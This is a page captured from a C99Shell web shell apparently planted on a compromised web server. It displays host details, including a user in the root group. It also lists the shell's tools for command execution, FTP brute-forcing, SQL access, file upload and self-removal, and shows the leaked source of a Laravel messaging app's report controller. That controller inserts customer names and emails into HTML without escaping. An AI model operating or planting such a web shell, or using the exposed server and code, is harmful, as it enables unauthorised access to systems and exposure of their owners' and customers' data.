!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picotext.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.9 GB of 117.98 GB (24.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MessageReportController.php (4.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Report;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;

class 
MessageReportController extends Controller
{
    public function 
report(Request $request){
        
$data['customers'] =auth('customer')->user()->customers()->where('added_by'auth('customer')->user()->type)->get();
        
$data['request_data']=$request->only('customer_id','main_type','sub_type','date');
        return 
view('customer.customer_reports.message_report'$data);
    }

    public function 
getAllReports(Request $request){

        
$customers =auth('customer')->user()->customers()->where('added_by'auth('customer')->user()->type)->pluck('id');
        
$reports Report::orderByDesc('created_at')->where('type''message')->whereIn('customer_id'$customers);

        if (
$request->customer_id) {
            
$reports $reports->where('customer_id'$request->customer_id);
        }

        if (
$request->sub_type) {
            
$reports $reports->where('sub_type'$request->sub_type);
        }
        if (
$request->date) {
            
$dates explode('-'$request->date);
            
$fromDate = isset($dates[0]) ? $dates[0] : Carbon::now()->subDays(3);
            
$toDate = isset($dates[1]) ? $dates[1] : Carbon::now();
            
$reports $reports->whereBetween('created_at', [$fromDate$toDate]);
        }

        return 
datatables()->of($reports)

            ->
addColumn('customer', function ($q) {
                
$profile='<div><h5 class="d-block">'.$q->customer->full_name.'</h5><b>'.$q->customer->email.'</b></div>';
                return 
$profile;
            })


            ->
addColumn('date', function ($q) {
                return 
formatDate($q->created_at);
            })

            ->
addColumn('type', function ($q) {
                return 
'<b>'.ucfirst($q->type).'</b>';
            })

            ->
addColumn('amount', function ($q) {
                
$amountTypesubstr($q->amount01);
                
$otherTypesubstr($q->amount03);
                
$amount=$q->amount;

                if (isset(
$otherType) && $otherType=='add'){
                    
$amount ='+'.substr($q->amount310000);
                }else if(isset(
$otherType) && $otherType=='sub'){
                    
$amount ='-'.substr($q->amount310000);
                }

                if(isset(
$amountType) && $amountType=='+' || isset($otherType) && $otherType=='add'){
                    
$amountType=$amount.' <span class="badge badge-success">Debit</span>';
                }else if(isset(
$amountType) && $amountType=='-' || isset($otherType) && $otherType=='sub'){
                    
$amountType=$amount.' <span class="badge badge-danger">Credit</span>';
                }else{
                    
$amountType=$amount;
                }
                return 
$amountType;
            })

            ->
addColumn('sub_type', function ($q) use($request) {
                
$type='';
                if(
$request->type=='plan'){
                    
$type='<span class="badge badge-success">Plan-Purchase</span>';
                }else{
                    if(
$q->sub_type=='non_masking') {
                        
$type '<span class=" badge bg-green">'.ucfirst(str_replace('_'' '$q->sub_type)).'</span>';
                    }else if(
$q->sub_type=='masking'){
                        
$type '<span class=" badge bg-blue">'.ucfirst(str_replace('_'' '$q->sub_type)).'</span>';
                    }else if(
$q->sub_type=='whatsapp'){
                        
$type '<span class="badge bg-info">'.ucfirst(str_replace('_'' '$q->sub_type)).'</span>';
                    }else{
                        
$type '<span class="badge bg-danger">'.ucfirst(str_replace('_'' '$q->sub_type)).'</span>';
                    }
                }
                return 
$type;
            })

            ->
rawColumns(['customer','amount','date','type','sub_type'])

            ->
toJson();
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0065 ]--